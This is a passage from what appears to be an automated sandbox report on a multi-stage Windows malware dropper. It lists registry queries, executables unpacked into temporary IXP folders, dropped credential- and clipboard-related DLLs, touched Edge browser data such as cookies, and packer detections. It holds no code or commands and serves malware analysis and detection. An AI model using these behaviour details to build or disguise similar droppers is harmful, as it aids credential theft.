"\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\3CP67XW.EXE"; Value: "") "Sj8xo42.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\1TB52YE1.EXE"; Value: "") "Sj8xo42.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\2VA9153.EXE"; Value: "") "1TB52Ye1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "2va9153.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINHTTPAUTOPROXYSVC\PARAMETERS"; Key: "PROXYDLLFILE"; Value: "") "2va9153.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "2va9153.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "2va9153.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "2va9153.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "2va9153.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "2va9153.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "2va9153.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "2va9153.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "")78:Tc61,"pu4QC49.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\pu4QC49.exe]- [targetUID: 00000000-00000768] "PH1iJ6gO.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\PH1iJ6gO.exe]- [targetUID: 00000000-00005868] "XJ8DL15.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\XJ8DL15.exe]- [targetUID: 00000000-00006800] "TW9GU8TZ.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\TW9GU8TZ.exe]- [targetUID: 00000000-00004132] "4Bu185jX.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\4Bu185jX.exe]- [targetUID: 00000000-00007364] "1RI95Jv4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP007.TMP\1RI95Jv4.exe]- [targetUID: 00000000-00008156] "salo.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000061051\salo.exe]- [targetUID: 00000000-00006736] "4Kb287am.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\4Kb287am.exe]- [targetUID: 00000000-00006800] "3CP67Xw.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\3CP67Xw.exe]- [targetUID: 00000000-00007836] "1TB52Ye1.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\1TB52Ye1.exe]- [targetUID: 00000000-00000584] "UG5dl07.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\UG5dl07.exe]- [targetUID: 00000000-00007836] "yG0Wt0do.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\yG0Wt0do.exe]- [targetUID: 00000000-00007364] "ZP7Gz0iG.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP006.TMP\ZP7Gz0iG.exe]- [targetUID: 00000000-00008156] "Sj8xo42.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\Sj8xo42.exe]- [targetUID: 00000000-00007836] "5sU52oo.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\5sU52oo.exe]- [targetUID: 00000000-00004132] "5cM9dm9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5cM9dm9.exe]- [targetUID: 00000000-00001224] "2va9153.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\2va9153.exe]- [targetUID: 00000000-00000608] "6aw7Xx2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed"- Location: [%TEMP%\IXP000.TMP\6aw7Xx2.exe]- [targetUID: 00000000-00000768] "foto1661.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000060051\foto1661.exe]- [targetUID: 00000000-00006736] "tus.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000059051\tus.exe]- [targetUID: 00000000-00006736] "explothe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00001224]79:Tff6,Dropped file: "clip64.dll" - Location: [%APPDATA%\006700e5a2ab05\clip64.dll]- [targetUID: 00000000-00006736] Dropped file: "cred64.dll" - Location: [%APPDATA%\006700e5a2ab05\cred64.dll]- [targetUID: 00000000-00006736] Dropped file: "AppLaunch.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log]- [targetUID: 00000000-00007032] Dropped file: "data_2" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2]- [targetUID: 00000000-00006928] Dropped file: "data_1" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1]- [targetUID: 00000000-00006928] Dropped file: "000009.log" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000009.log]- [targetUID: 00000000-00007084] Dropped file: "000013.ldb" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000013.ldb]- [targetUID: 00000000-00007084] Dropped file: "000014.ldb" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000014.ldb]- [targetUID: 00000000-00007084] Dropped file: "load_statistics.db-wal" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\load_statistics.db-wal]- [targetUID: 00000000-00007084] Dropped file: "data_0" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0]- [targetUID: 00000000-00006928] Dropped file: "1bbe3fb3-28ea-4f65-b330-87f90859b8b7.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\1bbe3fb3-28ea-4f65-b330-87f90859b8b7.tmp]- [targetUID: 00000000-00007084] Dropped file: "02dda6d6-158c-4bea-af91-78476b62859a.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\02dda6d6-158c-4bea-af91-78476b62859a.tmp]- [targetUID: 00000000-00007084] Dropped file: "Cookies" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies]- [targetUID: 00000000-00006928] Dropped file: "Reporting and NEL" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Reporting and NEL]- [targetUID: 00000000-00006928] Dropped file: "f_0004c4" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c4]- [targetUID: 00000000-00006928] Dropped file: "85f926b1-03fd-4da3-a069-2b5094a34743.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\85f926b1-03fd-4da3-a069-2b5094a34743.tmp]- [targetUID: 00000000-00007084] Dropped file: "e1512b58-be22-4a74-9fbf-fd28ed122f50.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\e1512b58-be22-4a74-9fbf-fd28ed122f50.tmp]- [targetUID: 00000000-00007084] Dropped file: "96699446-0d22-45d5-a08c-123f97b255a1.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\96699446-0d22-45d5-a08c-123f97b255a1.tmp]- [targetUID: 00000000-00007084] Dropped file: "arbitration_service_config.json" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\arbitration_service_config.json]- [targetUID: 00000000-00007084] Dropped file: "StartupProfileData-NonInteractive" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00002612] Dropped file: "af6004a7-ca6e-4d4a-999d-696aabd8c20b.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\af6004a7-ca6e-4d4a-999d-696aabd8c20b.tmp]- [targetUID: 00000000-00006928] Dropped file: "24044bb2-02c4-4644-94c1-332b9e6cf502.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\24044bb2-02c4-4644-94c1-332b9e6cf502.tmp]- [targetUID: 00000000-00006928] Dropped file: "LOG" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG]- [targetUID: 00000000-00007084] Dropped file: "LOG" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG]- [targetUID: 00000000-00007084] Dropped file: "5e18be2ef9be2a55_0" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\5e18be2ef9be2a55_0]- [targetUID: 00000000-00007084]7a:T5de,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" was detected as "Microsoft visual C++ 8" "foto1661_1_.exe" was detected as "Microsoft visual C++ 8" "pu4QC49.exe" was detected as "Microsoft visual C++ 8" "PH1iJ6gO.exe" was detected as "Microsoft visual C++ 8" "XJ8DL15.exe" was detected as "Microsoft visual C++ 8" "TW9GU8TZ.exe" was detected as "Microsoft visual C++ 8" "4Bu185jX.exe" was detected as "Microsoft visual C++ 8.0" "1RI95Jv4.exe" was detected as "Microsoft visual C++ 8.0" "salo.exe" was detected as "Microsoft visual C++ 8.0" "4Kb287am.exe" was detected as "Microsoft visual C++ 8.0" "tus_1_.exe" was detected as "Microsoft visual C++ 8.0" "3CP67Xw.exe" was detected as "Microsoft visual C++ 8.0" "1TB52Ye1.exe" was detected as "Microsoft visual C++ 8.0" "UG5dl07.exe" was detected as "Microsoft visual C++ 8" "yG0Wt0do.exe" was detected as "Microsoft visual C++ 8" "ZP7Gz0iG.exe" was detected as "Microsoft visual C++ 8" "Sj8xo42.exe" was detected as "Microsoft visual C++ 8" "5sU52oo.exe" was detected as "VC8 -> Microsoft Corporation" "2YP522uh.exe" was detected as "Microsoft visual C# v7.0 / Basic .NET" "5cM9dm9.exe" was detected as "VC8 -> Microsoft Corporation" "3kc5oj81.exe" was detected as "VC8 -> Microsoft Corporation" "2va9153.exe" was detected as "VC8 -> Microsoft Corporation" "6MH49fE.exe" was detected as "PureBasic 4.x -> Neil Hodgson" "clip64.dll" was detected as "Borland Delphi 3.0 (???)" "6aw7Xx2.exe" was detected as "UPX -> www.upx.sourceforge.net"7b:T72e,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "pu4QC49.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "XJ8DL15.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "UG5dl07.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "Sj8xo42.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "1TB52Ye1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "2va9153.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "3CP67Xw.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "4Kb287am.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "5cM9dm9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "rundll32.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cacls.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cacls.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "foto1661.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK")7c:T4001,"initAft()